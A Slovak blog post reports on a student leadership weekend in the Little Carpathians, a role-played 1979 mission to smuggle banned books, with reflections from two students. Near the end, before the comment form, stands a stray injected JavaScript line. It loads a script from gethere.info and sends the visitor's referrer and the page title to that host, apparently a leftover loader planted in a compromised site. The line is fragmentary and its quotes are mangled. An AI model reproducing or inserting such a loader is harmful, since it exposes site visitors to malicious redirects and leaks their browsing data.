Expedícia kízmaK

Malokarpatský chrbát na sebe tento víkend niesol aj študentov 2. ročníka a jednoročného programu Kolégia. Na zisťovanie toho, ako sa na ich putovanie objektívne pozerali miestne stromy, som, bohužiaľ, nemal popri všetkých povinnostiach čas. Ak sa teda uspokojíme so subjektívnymi pohľadmi samotných aktérov, môžeme konštatovať, že to bol (asi) naozaj kvalitný čas.

„Cieľom víkendu bolo umožniť študentom zažiť výzvu, vďaka ktorej budú rozvíjať zručnosti a postoje, ktoré im pomôžu v líderských roliach tento rok aj neskôr v živote. Je to napríklad poznávanie toho, ako reagujem v tíme mimo svojej komfortnej zóny, na čo sa nedá pripraviť (ako napríklad  keď som unavený, v nepohodlí, vystavený na milosť prírode atď.). Ďalšou zručnosťou je proaktivita – ako som schopný tvoriť riešenia pre celú skupinu a niesť za ne zodpovednosť – vybrať trasu a viesť skupinu, pripravovať jedlo, ktoré má chutiť všetkým, či starať sa o úlohy súvisiace s misiou zaniesť vzácne knihy do bezpečia,“ prezrádza členka Spoločenstva Ladislava Hanusa, mentorka študentov Kolégia a zároveň spoluautorka celej víkendovky, Stanka Gajdošová.

Aktivita mala charakter misie, odohrávajúcej sa v roku 1979. Študenti sa zmenili na vysokoškolákov, členov tajnej Cirkvi, ktorí majú dopraviť balík kníh na vopred určený čas a miesto. Presné znenie ich úlohy sa dozvedeli až v ten deň, 14. októbra na obed.  Vedeli však vopred, že budú musieť spať v prírode, a že si musia vziať na to všetky potrebné veci, ktoré im boli tajne dodané v Manifestoch komunistickej strany. „Aby víkendovka nebola len výletom s paštétou a horalkami, hľadali sme symbolický rámec podľa vzoru skautských víkendov, ktorý by vtiahol účastníkov do deja a priniesol duchovnú nadstavbu nad putovaním. Hľadali sme tému, ktorá by bola blízka Kolégiu, ktorá skrýva skupinovú výzvu, prvok nebezpečenstva a boj dobra so zlom. Keď sme si spomenuli na film Slava Zrebného Stopy v snehu, hneď sme vedeli že to je tá správna téma,“ pripomína Stanka.

Po dobrodružnom víkende sa študenti do Kolégia vrátili v sobotu podvečer. V tvárach bolo poznať únavu aj radosť. Ako prebiehala celá expedícia a aký to malo prínos pre účastníkov, nech povedia oni sami.

„Pocítila som rešpekt a úctu voči všetkým tým, ktorí nám aj takýmto spôsobom vydobýjali slobodu počas totality.“

Je piatok, hodiny ukazujú asi 13:35, sedíme v knižnici Kolégia a konečne sa dozvedáme program na najbližších 24 hodín: našou misiou je čo najnenápadnejšie odovzdať batoh plný „zakázaných“ kníh našej Spojke na bratislavskej Kolibe. Máme však presne stanovené podmienky: začiatok našej výpravy má byť v Perneku, stanovať máme na Pezinskej Babe a v sobotu presne o 16:00 máme na Kolibe odovzdať Spojke náš „balíček“. Cez vysielačku (rozumej starý mobil) sa máme hlásiť každú hodinu, no SMS správy šifrovať v rýmoch tak, aby ich význam nemohol odhaliť nepriateľ.

Z piatkového putovania si živo pamätám dve veci:  najprv prudko (a snáď nekonečne) stúpajúci kopec, ktorý ma fyzicky prekvapil, a rýchle tempo, ktoré sme museli držať, lebo „za chvíľu bude tma“. Zistila som, že ostatní majú lepšiu kondičku než ja, a priznala som, že sa mi ťažko nahlas vyslovuje, že potrebujem pauzu. Priznať si vlastnú slabosť je pokorujúce….

Dych berúcim zážitkom sobotného putovania bola ranná hmla, ktorá poskytla Filipovi fotografické vyžitie a nám zase príležitosť žasnúť nad celkovou prírodnou kompozíciou, ktorej sme boli na pár chvíľ súčasťou. Prekvapivý moment nastal, keď nám starý mobil začal kvôli zime „mrznúť“ a my sme sa nemali ako spojiť s našou Spojkou. Krízovým riešením bolo použiť namiesto starého mobilu novší smartfón. Sama pre seba som sa pousmiala nad tým, ako rýchlo sme dokázali opustiť časopriestor 70-tych rokov a vrátiť sa do roku 2016.

Poobede sa nám kráčalo veselšie: povzbudzovalo nás prívetivé októbrové slnko aj krásne jesenné farby. Kráčali sme v dvojiciach či trojiciach a boli sme zahĺbení do viac či menej vážnych rozhovorov. Sem-tam mal však človek chuť kráčať sám, s vlastnými myšlienkami. A tak mi hlavou prechádzalo aj to, ako sa asi museli cítiť ľudia, ktorí naozaj toto robili. Aká silná musela byť ich motivácia, ich odhodlanie! My sme sa skôr hrali na to, že niečo pašujeme, že sme vystavení nebezpečenstvu, no oni to reálne zažívali. A niekde v hĺbke srdca som opäť raz pocítila rešpekt a úctu voči všetkým tým, ktorí nám aj takýmto spôsobom vydobýjali slobodu počas totality. Tajne, často nedocenene a s rizikom prezradenia či prípadnej perzekúcie…

Nakoniec, cieľom našej misie ani tak nebolo odovzdať „zakázanú“ literatúru, ako skôr preveriť si vlastné sily, charakter, schopnosť pracovať v tíme a zniesť aj nepríjemné životné podmienky.  A tak som sa aj na naše spoločné putovanie skúsila pozerať inak: nielen ako na nejakú hru či oddychový víkend, ale ako na cestu, na ktorej som mohla podísť bližšie k sebe i k druhým.

Zuzana Kotvanová, študentka 2. ročníka Kolégia

„Bola to veľmi dobrá možnosť budovať komunitu.“

Víkendovka v Malých Karpatoch alias „Leadership outdoor“ bola dlho očakávaná a aj obávaná akcia. Po jej absolvovaní sme cítili rôzne pocity, no záver je jasný: bola to veľmi dobrá možnosť budovať našu komunitu.

Komunitný pilier si vyžaduje nemenej času ako akademický, adekvátny čas mu však nie je v bežnom týždni priznaný. No tento víkend bol pre spoločné strávenie času ako stvorený. Je bežnou charakteristikou výletov, že sa ľudia držia celý čas v jednej skupine, a všetko, čo zažijú, zažijú spolu. Aj my sme spolu zažili situácie ako vážnu zimu, spanie v stanoch, neistotu, či to stihneme, a mnohé iné, ktoré bežne človek v novej partii neokúsi.

Bola to predsa len jedna noc, čo neumožnilo napríklad budovať vzťahy každého s každým. Je ale pravda, že budovanie pokračovalo aj po návrate do Ivanky pri Dunaji. A hoci každý z nás vníma iné prínosy tejto víkendovky, to, že sa budovala komunita a že sme si v konečnom dôsledku o niečo bližší, je nesporné.

Štefan Timko, študent jednoročného programu Kolégia


Matúš Ďuraňa, študent jednoročného programu
Fotografie: Filip Morjak, študent 2. ročníka

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;

0 odpovedí

Zanechajte nám komentár

Chcete sa zapojiť do diskusie?
Neváhajte zanechať komentár!

Pridaj komentár

Vaša e-mailová adresa nebude zverejnená. Vyžadované polia sú označené *